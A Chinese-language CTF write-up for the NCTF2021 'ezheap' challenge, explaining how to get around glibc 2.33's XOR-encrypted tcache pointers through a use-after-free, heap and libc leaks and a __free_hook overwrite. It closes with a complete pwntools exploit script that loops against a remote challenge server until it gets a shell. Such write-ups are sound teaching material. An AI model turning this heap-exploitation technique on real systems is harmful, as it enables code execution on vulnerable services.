2.33版本下的堆地址任意申请

前言

今天(2021.11.28)NCTF的题目让我大开眼界,上来最低利用版本都是2.31,新生都如此生猛了吗,由于我比较菜只搞定了这个ezheap,2.33版本的题目我也是第一次做,花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑,算是收获满满吧

由于这个2.33的利用我在网上并没有看见有文章发布,我就写一下供各位pwn学习参考。

前置知识

UAF,异或加密,hook利用

版本新增保护介绍

2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。

对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。

举例利用

例题:NCTF2021 ezheap

漏洞分析

如下存在UAF漏洞,对于heap的size位置零,但是指针未置零,可以造成堆复用

tips:可以利用glibc-all-in-one配合patchelf来建立题目的运行环境

命令如下

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patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap

再说点骚操作,题目一般只给libc没有ld,可以直接把all in one的libc替换成题目给的,然后再去patchelf就可以使用上题目的libc了

image

低于2.33常规思路攻击

通常的思路就是先free一次但是heaparry指针保留,再申请回来就有一个新的指针指向同一个地址,直接uaf任意地址申请,attack free hook 梭哈getshell

2.33绕过方法

First 堆地址的泄露

首先申请两个chunk,然后直接free掉,此时这两个堆的fd位置的内容如下

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0x5569374d8290:	0x0000000000000000	0x0000000000000091
0x5569374d82a0: 0x00000005569374d8 0x00005569374d8010
0x5569374d82b0: 0x0000000000000000 0x0000000000000000
0x5569374d82c0: 0x0000000000000000 0x0000000000000000
0x5569374d82d0: 0x0000000000000000 0x0000000000000000
0x5569374d82e0: 0x0000000000000000 0x0000000000000000
0x5569374d82f0: 0x0000000000000000 0x0000000000000000
0x5569374d8300: 0x0000000000000000 0x0000000000000000
0x5569374d8310: 0x0000000000000000 0x0000000000000000
0x5569374d8320: 0x0000000000000000 0x0000000000000091
0x5569374d8330: 0x0000556c61def678 0x00005569374d8010

由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后进行异或操作我们可以得到 heap:0x5569374d82a0

也就是此时chunk0的content addr,这个地址我们先记录下来

(由于我脚本是分多次启动打断点调试,数据不是同一批,具体可以自己去用脚本去调试)

Second 获取某个堆块的对应的异或key值

我们继续进行,假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin,目前的heap如下

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pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5290
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5320
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb53b0
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5440
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb54d0
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5560
Size: 0x91

Free chunk (tcache) | PREV_INUSE
Addr: 0x5650e8eb55f0
Size: 0x91
fd: 0x56558de5dbc5

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650e8eb5680
Size: 0x91
fd: 0x7f95da868c00
bk: 0x7f95da868c00

Allocated chunk
Addr: 0x5650e8eb5710
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x5650e8eb57a0
Size: 0x20861

bin状态如下

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pwndbg> bin
tcachebins
0x90 [ 7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680
smallbins
empty
largebins
empty

此时用第一步方法得到的堆地址是 0x5650e8eb52a0

然后为了形成堆复用,我们会再去add一个0x90的chunk,此时的heaparry如下

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pwndbg> x/32gx 0x40a0+0x5650e8348000
0x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb5330
0x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb5450
0x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb5570
0x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb5690
0x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600

接着我们可以看下当前的bin情况如下

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pwndbg> bin
tcachebins
0x90 [ 6]: 0x5650e8eb5570 ◂— 0x56558de5da55

我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570

我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25

上面我也提到了这个key是变化的,因此我们还要爆破下,但是爆破是可以找到范围的,我们可以利用常规的错误打法

先看看泄露的key和需要的key的一个偏移(很好玩的是这个偏移也是随机的)

我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54

我们看看错误的bin如下

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pwndbg> bin
tcachebins
0x90 [ 6]: 0x7f8b1b63e5e4

正确的free hook地址:0x7f8e7a497e20

libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4

hex(0x5612a9bc4-0x5612a9a54)=0x170

我试了很多次的调试,libc_key有0x170,-0x170,0x190,-0x190当然实际情况实际调试,只要调试出来的值就是有可能的偏移

最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell

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exp

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from pwn import *
r=process('./ezheap')
#r=remote('129.211.173.64',10002)
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('libc-2.33.so')
#context.log_level='debug'
def add(size,con):
r.sendlineafter(">> ",'1')
r.sendlineafter("Size: ",str(size))
r.sendlineafter("Content: ",con)

def edit(idx,con):
r.sendlineafter(">> ",'2')
r.sendlineafter("Index: ",str(idx))
r.sendafter("Content: ",con)

def show(idx):
r.sendlineafter(">> ",'4')
r.sendlineafter("Index: ",str(idx))

def dele(idx):
r.sendlineafter(">> ",'3')
r.sendlineafter("Index: ",str(idx))
flag=1
while flag:
#r=process('./ezheap')
r=remote('129.211.173.64',10002)
for i in range(9):
add(128,'1')
dele(0)
show(0)
he0=u64(r.recv(6)+b'\x00'*2)
print(hex(he0))
dele(1)
show(1)
he1=u64(r.recv(6)+b'\x00'*2)
print(hex(he1))
heap=he0^he1
print("heap:"+hex(heap))
#gdb.attach(r)
for i in range(2,8):
dele(i)
show(5)
he=u64(r.recv(6)+b'\x00'*2)
print(hex(he))
show(6)
he6=u64(r.recv(6)+b'\x00'*2)
print(hex(he6))
show(7)
base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00
print(hex(base))
#gdb.attach(r)
free_hook=base+libc.sym["__free_hook"]
print(hex(free_hook))
sys=base+libc.sym['system']
add(128,'')
tagerheap=heap+0x2d0
print("target heap:"+hex(tagerheap))
tagerheap_key=tagerheap^he
print("target heap_key:"+hex(tagerheap_key))
libc_key=tagerheap_key+0x170
print("target libc_key:"+hex(libc_key))
#gdb.attach(r)
dele(6)
edit(9,p64(free_hook^libc_key)+b'\n')
add(128,'/bin/sh\x00')
add(128,'1')
edit(11,p64(sys)+b'\n')
#gdb.attach(r)
dele(6)
r.sendline("ls")
a=r.recv()
if b'bin' in a:
r.interactive()
print(a)
flag=0
else:
r.close()

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